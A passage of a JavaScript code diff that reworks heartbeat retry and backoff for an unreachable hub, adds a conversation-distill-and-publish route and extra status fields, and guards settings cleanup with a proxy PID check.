  const recovered = await this.reAuthenticate();
@@ -813,7 +897,7 @@ class LifecycleManager {
813
897
  }
814
898
 
815
899
  if (!res.ok) {
816
- const errText = await res.text().catch(() => '');
900
+ const errText = await readHubResponseText(res).catch(() => '');
817
901
  // 426 Upgrade Required: hub emits this when our evolver_version is
818
902
  // below the minimum version it requires. The body is JSON of shape
819
903
  // `{ error: 'evolver_min_version_required', force_update: {...} }`
@@ -881,7 +965,7 @@ class LifecycleManager {
881
965
  return { ok: false, error: `http_${res.status}`, statusCode: res.status };
882
966
  }
883
967
 
884
- const data = await res.json();
968
+ const data = await readHubResponseJson(res);
885
969
 
886
970
  this._consecutiveFailures = 0;
887
971
  this.store.setState('last_heartbeat_at', new Date().toISOString());
@@ -981,6 +1065,16 @@ class LifecycleManager {
981
1065
 
982
1066
  return { ok: true, response: data };
983
1067
  } catch (err) {
1068
+ if (isHubUnreachableError(err)) {
1069
+ this._consecutiveFailures++;
1070
+ const retryAfterMs = this._recordHubUnreachable(err);
1071
+ return {
1072
+ ok: false,
1073
+ error: 'hub_unreachable',
1074
+ detail: err.message,
1075
+ retryAfterMs,
1076
+ };
1077
+ }
984
1078
  this._consecutiveFailures++;
985
1079
  this.logger.error(`[lifecycle] heartbeat failed (${this._consecutiveFailures}): ${err.message}`);
986
1080
  return { ok: false, error: err.message };
@@ -1074,7 +1168,14 @@ class LifecycleManager {
1074
1168
  // `DEFAULT_HEARTBEAT_INTERVAL` (6min) or the exponential branch
1075
1169
  // retries faster than the success branch (Bugbot #147 finding).
1076
1170
  const interval = this._heartbeatInterval || DEFAULT_HEARTBEAT_INTERVAL;
1077
- const backoff = this._consecutiveFailures > 0
1171
+ const hubWaitMs = this._hubUnreachableWaitMs();
1172
+ // While a hub-unreachable window is active, wake exactly when it elapses
1173
+ // (1s floor to avoid a busy 0ms reschedule), mirroring SyncEngine's
1174
+ // `Math.max(1_000, retryAfterMs)`. A 30s floor over-waited up to ~30s past
1175
+ // the window's end, delaying recovery once the hub was reachable again.
1176
+ const backoff = hubWaitMs > 0
1177
+ ? Math.max(1_000, hubWaitMs)
1178
+ : this._consecutiveFailures > 0
1078
1179
  ? Math.min(interval * Math.pow(2, this._consecutiveFailures), HEARTBEAT_BACKOFF_CAP_MS)
1079
1180
  : interval;
1080
1181
  const armedGen = this._heartbeatGen;
@@ -100,6 +100,29 @@ function buildRoutes(store, proxyHandlers, taskMonitor, extensions) {
100
100
  return { body: result };
101
101
  },
102
102
 
103
+ 'POST /conversation/distill': async ({ body }) => {
104
+ const { distillConversation } = require('../../gep/conversationDistiller');
105
+ const input = body || {};
106
+ const distill = distillConversation(input, { persist: input.persist !== false });
107
+ if (!distill.ok) return { body: distill };
108
+
109
+ let publishResult = null;
110
+ if (input.publish !== false) {
111
+ publishResult = await proxyHandlers.assetPublish({
112
+ assets: [distill.gene, distill.capsule].filter(Boolean),
113
+ });
114
+ }
115
+
116
+ return {
117
+ body: {
118
+ ...distill,
119
+ queued: false,
120
+ published: Boolean(publishResult),
121
+ publish_result: publishResult,
122
+ },
123
+ };
124
+ },
125
+
103
126
  'GET /asset/submissions': async ({ query }) => {
104
127
  const submissions = store.list({
105
128
  type: 'asset_submit',
@@ -378,6 +401,10 @@ function buildRoutes(store, proxyHandlers, taskMonitor, extensions) {
378
401
  const inPending = store.countPending({ direction: 'inbound' });
379
402
  const nodeId = store.getState('node_id');
380
403
  const lastSync = store.getState('last_sync_at');
404
+ const lastSyncError = store.getState('last_sync_error');
405
+ const hubAuthStatus = store.getState('hub_auth_status');
406
+ const reauthBackoffUntil = store.getState('reauth_backoff_until');
407
+ const helloRateLimitUntil = store.getState('hello_rate_limit_until');
381
408
  return {
382
409
  body: {
383
410
  status: 'running',
@@ -387,6 +414,10 @@ function buildRoutes(store, proxyHandlers, taskMonitor, extensions) {
387
414
  outbound_pending: outPending,
388
415
  inbound_pending: inPending,
389
416
  last_sync_at: lastSync,
417
+ last_sync_error: lastSyncError || null,
418
+ hub_auth_status: hubAuthStatus || null,
419
+ reauth_backoff_until: reauthBackoffUntil || null,
420
+ hello_rate_limit_until: helloRateLimitUntil || null,
390
421
  },
391
422
  };
392
423
  },
@@ -47,15 +47,19 @@ function writeSettings(data) {
47
47
  return merged;
48
48
  }
49
49
 
50
- function clearSettings() {
50
+ function clearSettings(opts = {}) {
51
51
  try {
52
52
  const file = getSettingsFile();
53
53
  if (fs.existsSync(file)) {
54
54
  const current = readSettings();
55
+ const proxyPid = current.proxy?.pid;
56
+ if (!opts.force && proxyPid && proxyPid !== process.pid) return false;
55
57
  delete current.proxy;
56
58
  fs.writeFileSync(file, JSON.stringify(current, null, 2), 'utf8');
59
+ return true;
57
60
  }
58
61
  } catch {}
62
+ return false;
59
63
  }
60
64
 
61
65
  function isStaleProxy() {
@@ -82,7 +86,7 @@ function isStaleProxy() {
82
86
 
83
87
  function clearIfStale() {
84
88
  if (isStaleProxy()) {
85
- clearSettings();
89
+ clearSettings({ force: true });
86
90
  return true;
87
91
  }
88
92
  return false;